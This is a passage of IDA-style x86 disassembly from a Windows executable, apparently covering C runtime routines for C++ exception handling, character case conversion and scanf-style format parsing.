retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41A71B: ; CODE XREF: sub_41A69A+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41A6CC ; --------------------------------------------------------------------------- loc_41A726: ; CODE XREF: sub_41A69A+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A69A endp ; =============== S U B R O U T I N E ======================================= sub_41A738 proc near ; CODE XREF: sub_41A69A+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41A749 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A749: ; CODE XREF: sub_41A738+Cj jmp sub_41AB9C sub_41A738 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A74E proc near ; CODE XREF: sub_41A3EE+151p ; sub_41A595+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41A770 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41A8FF add esp, 10h loc_41A770: ; CODE XREF: sub_41A74E+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41A77C push edi jmp short loc_41A77F ; --------------------------------------------------------------------------- loc_41A77C: ; CODE XREF: sub_41A74E+29j push [ebp+arg_24] loc_41A77F: ; CODE XREF: sub_41A74E+2Cj call sub_4160C4 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_41A69A mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41A7C9 add esp, 2Ch test eax, eax jz short loc_41A7C4 push edi push eax call sub_416082 loc_41A7C4: ; CODE XREF: sub_41A74E+6Dj pop edi pop esi pop ebx pop ebp retn sub_41A74E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A7C9 proc near ; CODE XREF: sub_41A74E+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421808 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_46952C mov [ebp+var_1C], ecx mov ecx, dword_469530 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_46952C, edi mov ecx, [ebp+arg_8] mov dword_469530, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_416149 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41A88F mov eax, [ebp+var_2C] loc_41A856: ; CODE XREF: sub_41A86F+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A7C9 endp ; =============== S U B R O U T I N E ======================================= sub_41A865 proc near ; DATA XREF: .nsp0:00421818o push dword ptr [ebp-14h] call sub_41A8D5 pop ecx retn sub_41A865 endp ; =============== S U B R O U T I N E ======================================= sub_41A86F proc near ; DATA XREF: .nsp0:0042181Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4163AA pop ecx pop ecx xor eax, eax jmp short loc_41A856 sub_41A86F endp ; --------------------------------------------------------------------------- loc_41A887: ; DATA XREF: .nsp0:00421810o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41A88F proc near ; CODE XREF: sub_41A7C9+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_46952C, eax mov eax, [ebp-20h] mov dword_469530, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41A8D4 cmp dword ptr [edi+10h], 3 jnz short locret_41A8D4 cmp dword ptr [edi+14h], 19930520h jnz short locret_41A8D4 cmp [ebp-24h], ebx jnz short locret_41A8D4 cmp [ebp-2Ch], ebx jz short locret_41A8D4 call sub_416412 push eax push edi call sub_41AAC3 pop ecx pop ecx locret_41A8D4: ; CODE XREF: sub_41A88F+1Cj ; sub_41A88F+22j ... retn sub_41A88F endp ; =============== S U B R O U T I N E ======================================= sub_41A8D5 proc near ; CODE XREF: sub_41A865+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41A8FC cmp dword ptr [eax+10h], 3 jnz short loc_41A8FC cmp dword ptr [eax+14h], 19930520h jnz short loc_41A8FC cmp dword ptr [eax+1Ch], 0 jnz short loc_41A8FC push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A8FC: ; CODE XREF: sub_41A8D5+Cj ; sub_41A8D5+12j ... xor eax, eax retn sub_41A8D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8FF proc near ; CODE XREF: sub_41A74E+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421820 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41AAA8 cmp byte ptr [eax+8], 0 jz loc_41AAA8 mov eax, [ecx+8] test eax, eax jz loc_41AAA8 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41A99C mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41DF66 pop ecx pop ecx test eax, eax jz loc_41AA9F push 1 push edi call sub_41DF82 pop ecx pop ecx test eax, eax jz loc_41AA9F mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41A98D: ; CODE XREF: sub_41A8FF+F5j push eax call sub_41AB2A pop ecx pop ecx mov [edi], eax jmp loc_41AAA4 ; --------------------------------------------------------------------------- loc_41A99C: ; CODE XREF: sub_41A8FF+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41A9F6 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41DF66 pop ecx pop ecx test eax, eax jz loc_41AA9F push 1 push edi call sub_41DF82 pop ecx pop ecx test eax, eax jz loc_41AA9F push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_416490 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41AAA4 mov eax, [edi] test eax, eax jz loc_41AAA4 add esi, 8 push esi jmp short loc_41A98D ; --------------------------------------------------------------------------- loc_41A9F6: ; CODE XREF: sub_41A8FF+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41AA3E call sub_41DF66 pop ecx pop ecx test eax, eax jz loc_41AA9F push 1 push edi call sub_41DF82 pop ecx pop ecx test eax, eax jz short loc_41AA9F push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41AB2A pop ecx pop ecx push eax push edi call sub_416490 add esp, 0Ch jmp short loc_41AAA4 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A8FF+103j call sub_41DF66 pop ecx pop ecx test eax, eax jz short loc_41AA9F push 1 push edi call sub_41DF82 pop ecx pop ecx test eax, eax jz short loc_41AA9F push dword ptr [esi+18h] call sub_41DF9E pop ecx test eax, eax jz short loc_41AA9F test byte ptr [esi], 4 jz short loc_41AA85 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41AB2A pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_4160BD jmp short loc_41AAA4 ; --------------------------------------------------------------------------- loc_41AA85: ; CODE XREF: sub_41A8FF+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41AB2A pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_4160B6 jmp short loc_41AAA4 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A8FF+6Aj ; sub_41A8FF+7Cj ... call sub_41ABF2 loc_41AAA4: ; CODE XREF: sub_41A8FF+98j ; sub_41A8FF+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41AAA8: ; CODE XREF: sub_41A8FF+2Ej ; sub_41A8FF+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A8FF endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41AB9C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AAC3 proc near ; CODE XREF: sub_41A3EE+170p ; sub_41A88F+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421830 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41AB0A mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41AB0A and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_4160B6 or [ebp+var_4], 0FFFFFFFFh loc_41AB0A: ; CODE XREF: sub_41AAC3+2Aj ; sub_41AAC3+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41AAC3 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41AB9C ; =============== S U B R O U T I N E ======================================= sub_41AB2A proc near ; CODE XREF: sub_41A8FF+8Fp ; sub_41A8FF+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41AB4B mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41AB4B: ; CODE XREF: sub_41AB2A+12j pop esi retn sub_41AB2A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB50 proc near ; CODE XREF: sub_416149+40p ; sub_41A69A+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_416435 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41AB8F mov ecx, 2 loc_41AB8F: ; CODE XREF: sub_41AB50+38j push ecx call sub_416435 pop ebp pop ecx pop ebx leave retn 0Ch sub_41AB50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB9C proc near ; CODE XREF: sub_41A3EE:loc_41A590j ; sub_41A738:loc_41A749j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041DFB6 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421840 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_469538 test eax, eax jz short loc_41ABE4 mov [ebp+var_4], 1 call eax jmp short loc_41ABE0 ; --------------------------------------------------------------------------- loc_41ABD9: ; DATA XREF: .nsp0:00421850o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41ABDD: ; DATA XREF: .nsp0:00421854o mov esp, [ebp+var_18] loc_41ABE0: ; CODE XREF: sub_41AB9C+3Bj and [ebp+var_4], 0 loc_41ABE4: ; CODE XREF: sub_41AB9C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41ABED: ; DATA XREF: .nsp0:00421848o jmp loc_41DFB6 sub_41AB9C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABF2 proc near ; CODE XREF: sub_4162EB+23p ; sub_4162EB:loc_416356p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421858 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_4380F4 test eax, eax jz short loc_41AC3A mov [ebp+var_4], 1 call eax ; sub_41AB9C jmp short loc_41AC36 ; --------------------------------------------------------------------------- loc_41AC2F: ; DATA XREF: .nsp0:00421868o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AC33: ; DATA XREF: .nsp0:0042186Co mov esp, [ebp+var_18] loc_41AC36: ; CODE XREF: sub_41ABF2+3Bj and [ebp+var_4], 0 loc_41AC3A: ; CODE XREF: sub_41ABF2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41AC43: ; DATA XREF: .nsp0:00421860o jmp sub_41AB9C sub_41ABF2 endp ; =============== S U B R O U T I N E ======================================= sub_41AC48 proc near ; CODE XREF: sub_4167D3+7p ; sub_4167D3+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_418AFD test eax, eax pop ecx jz short loc_41AC60 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_41AC60: ; CODE XREF: sub_41AC48+Ej push esi push 0 push dword_46AB20 call dword_421188 pop esi retn sub_41AC48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC71 proc near ; CODE XREF: sub_416881+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_469548, 0 push ebx jnz short loc_41AC9C mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41AD3A cmp eax, 7Ah jg loc_41AD3A sub eax, 20h jmp loc_41AD3A ; --------------------------------------------------------------------------- loc_41AC9C: ; CODE XREF: sub_41AC71+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41ACCF cmp dword_437F9C, 1 jle short loc_41ACBC push 2 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41ACC7 ; --------------------------------------------------------------------------- loc_41ACBC: ; CODE XREF: sub_41AC71+3Dj mov eax, off_437D90 mov al, [eax+ebx*2] and eax, 2 loc_41ACC7: ; CODE XREF: sub_41AC71+49j test eax, eax jnz short loc_41ACCF loc_41ACCB: ; CODE XREF: sub_41AC71+AFj mov eax, ebx jmp short loc_41AD3A ; --------------------------------------------------------------------------- loc_41ACCF: ; CODE XREF: sub_41AC71+34j ; sub_41AC71+58j mov edx, off_437D90 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41ACF2 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41ACFB ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: sub_41AC71+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41ACFB: ; CODE XREF: sub_41AC71+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_469548 call sub_41BD71 add esp, 20h test eax, eax jz short loc_41ACCB cmp eax, 1 jnz short loc_41AD2D movzx eax, [ebp+var_4] jmp short loc_41AD3A ; --------------------------------------------------------------------------- loc_41AD2D: ; CODE XREF: sub_41AC71+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41AD3A: ; CODE XREF: sub_41AC71+14j ; sub_41AC71+1Dj ... pop ebx leave retn sub_41AC71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD3D proc near ; CODE XREF: sub_416AA0+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41B743 mov edi, [ebp+arg_0] jmp short loc_41AD6C ; --------------------------------------------------------------------------- loc_41AD67: ; CODE XREF: sub_41AD3D+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41AD6C: ; CODE XREF: sub_41AD3D+28j cmp dword_437F9C, 1 jle short loc_41AD84 movzx eax, al push 8 push eax call sub_418556 pop ecx pop ecx jmp short loc_41AD93 ; --------------------------------------------------------------------------- loc_41AD84: ; CODE XREF: sub_41AD3D+36j mov ecx, off_437D90 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41AD93: ; CODE XREF: sub_41AD3D+45j cmp eax, ebx jz short loc_41ADCD dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41B7CA pop ecx pop ecx push eax call sub_41B7B3 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E095 add esp, 0Ch loc_41ADBB: ; CODE XREF: sub_41AD3D+8Ej test eax, eax jz short loc_41ADCD movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E095 pop ecx jmp short loc_41ADBB ; --------------------------------------------------------------------------- loc_41ADCD: ; CODE XREF: sub_41AD3D+58j ; sub_41AD3D+80j cmp byte ptr [esi], 25h jnz loc_41B6AF and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41AE04: ; CODE XREF: sub_41AD3D+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_437F9C, 1 jle short loc_41AE21 movzx eax, bl push 4 push eax call sub_418556 pop ecx pop ecx jmp short loc_41AE30 ; --------------------------------------------------------------------------- loc_41AE21: ; CODE XREF: sub_41AD3D+D3j mov ecx, off_437D90 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41AE30: ; CODE XREF: sub_41AD3D+E2j test eax, eax jz short loc_41AE46 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE46: ; CODE XREF: sub_41AD3D+F5j cmp ebx, 4Eh jg short loc_41AE89 jz short loc_41AEAB cmp ebx, 2Ah jz short loc_41AE84 cmp ebx, 46h jz short loc_41AEAB cmp ebx, 49h jz short loc_41AE66 cmp ebx, 4Ch jnz short loc_41AE98 inc [ebp+var_D] jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE66: ; CODE XREF: sub_41AD3D+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41AE98 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41AE98 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE84: ; CODE XREF: sub_41AD3D+113j inc [ebp+var_E] jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE89: ; CODE XREF: sub_41AD3D+10Cj cmp ebx, 68h jz short loc_41AEA5 cmp ebx, 6Ch jz short loc_41AE9D cmp ebx, 77h jz short loc_41AEA0 loc_41AE98: ; CODE XREF: sub_41AD3D+122j ; sub_41AD3D+12Dj ... inc [ebp+var_F] jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE9D: ; CODE XREF: sub_41AD3D+154j inc [ebp+var_D] loc_41AEA0: ; CODE XREF: sub_41AD3D+159j inc [ebp+var_5] jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AEA5: ; CODE XREF: sub_41AD3D+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41AEAB: ; CODE XREF: sub_41AD3D+107j ; sub_41AD3D+10Ej ... cmp [ebp+var_F], 0 jz loc_41AE04 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41AED0 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41AED0: ; CODE XREF: sub_41AD3D+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41AEEE mov al, [esi] cmp al, 53h jz short loc_41AEEA cmp al, 43h jz short loc_41AEEA or [ebp+var_5], 0FFh jmp short loc_41AEEE ; --------------------------------------------------------------------------- loc_41AEEA: ; CODE XREF: sub_41AD3D+1A1j ; sub_41AD3D+1A5j mov [ebp+var_5], 1 loc_41AEEE: ; CODE XREF: sub_41AD3D+19Bj ; sub_41AD3D+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41AF27 cmp esi, 63h jz short loc_41AF18 cmp esi, 7Bh jz short loc_41AF18 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41B7CA pop ecx jmp short loc_41AF23 ; --------------------------------------------------------------------------- loc_41AF18: ; CODE XREF: sub_41AD3D+1C5j ; sub_41AD3D+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 loc_41AF23: ; CODE XREF: sub_41AD3D+1D9j pop ecx mov [ebp+var_14], eax loc_41AF27: ; CODE XREF: sub_41AD3D+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41AF37 cmp [ebp+var_C], eax jz loc_41B713 loc_41AF37: ; CODE XREF: sub_41AD3D+1EFj cmp esi, 6Fh jg loc_41B19E jz loc_41B450 cmp esi, 63h jz loc_41B17B cmp esi, 64h jz loc_41B450 jle loc_41B1C8 cmp esi, 67h jle short loc_41AF9B cmp esi, 69h jz short loc_41AF83 cmp esi, 6Eh jnz loc_41B1C8 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41B67E jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41AF83: ; CODE XREF: sub_41AD3D+229j push 64h pop esi loc_41AF86: ; CODE XREF: sub_41AD3D+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41B210 mov [ebp+var_17], 1 jmp loc_41B215 ; --------------------------------------------------------------------------- loc_41AF9B: ; CODE XREF: sub_41AD3D+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41AFB7 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41AFBC ; --------------------------------------------------------------------------- loc_41AFB7: ; CODE XREF: sub_41AD3D+26Aj cmp ebx, 2Bh jnz short loc_41AFD3 loc_41AFBC: ; CODE XREF: sub_41AD3D+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41AFD6 ; --------------------------------------------------------------------------- loc_41AFD3: ; CODE XREF: sub_41AD3D+27Dj mov edi, [ebp+arg_0] loc_41AFD6: ; CODE XREF: sub_41AD3D+294j cmp [ebp+var_20], 0 jz short loc_41AFE5 cmp [ebp+var_C], 15Dh jle short loc_41AFEC loc_41AFE5: ; CODE XREF: sub_41AD3D+29Dj mov [ebp+var_C], 15Dh loc_41AFEC: ; CODE XREF: sub_41AD3D+2A6j ; sub_41AD3D+2F2j cmp dword_437F9C, 1 jle short loc_41B001 push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B00C ; --------------------------------------------------------------------------- loc_41B001: ; CODE XREF: sub_41AD3D+2B6j mov eax, off_437D90 mov al, [eax+ebx*2] and eax, 4 loc_41B00C: ; CODE XREF: sub_41AD3D+2C2j test eax, eax jz short loc_41B031 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B031 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41AFEC ; --------------------------------------------------------------------------- loc_41B031: ; CODE XREF: sub_41AD3D+2D1j ; sub_41AD3D+2DBj cmp byte_437FA0, bl jnz short loc_41B09F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B09F inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax mov al, byte_437FA0 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41B05A: ; CODE XREF: sub_41AD3D+360j cmp dword_437F9C, 1 jle short loc_41B06F push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B07A ; --------------------------------------------------------------------------- loc_41B06F: ; CODE XREF: sub_41AD3D+324j mov eax, off_437D90 mov al, [eax+ebx*2] and eax, 4 loc_41B07A: ; CODE XREF: sub_41AD3D+330j test eax, eax jz short loc_41B09F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B09F inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B05A ; --------------------------------------------------------------------------- loc_41B09F: ; CODE XREF: sub_41AD3D+2FAj ; sub_41AD3D+304j ... cmp [ebp+var_1C], 0 jz loc_41B137 cmp ebx, 65h jz short loc_41B0B7 cmp ebx, 45h jnz loc_41B137 loc_41B0B7: ; CODE XREF: sub_41AD3D+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B137 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41B0DE mov [esi], al inc esi jmp short loc_41B0E3 ; --------------------------------------------------------------------------- loc_41B0DE: ; CODE XREF: sub_41AD3D+39Aj cmp ebx, 2Bh jnz short loc_41B101 loc_41B0E3: ; CODE XREF: sub_41AD3D+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41B0F2 and [ebp+var_C], eax jmp short loc_41B101 ; --------------------------------------------------------------------------- loc_41B0F2: ; CODE XREF: sub_41AD3D+3AEj ; sub_41AD3D+3F8j inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B101: ; CODE XREF: sub_41AD3D+3A4j ; sub_41AD3D+3B3j cmp dword_437F9C, 1 jle short loc_41B116 push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B121 ; --------------------------------------------------------------------------- loc_41B116: ; CODE XREF: sub_41AD3D+3CBj mov eax, off_437D90 mov al, [eax+ebx*2] and eax, 4 loc_41B121: ; CODE XREF: sub_41AD3D+3D7j test eax, eax jz short loc_41B137 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B137 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41B0F2 ; --------------------------------------------------------------------------- loc_41B137: ; CODE XREF: sub_41AD3D+366j ; sub_41AD3D+374j ... dec [ebp+var_4] push edi push ebx call sub_41B7B3 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41B743 cmp [ebp+var_E], 0 jnz loc_41B6A4 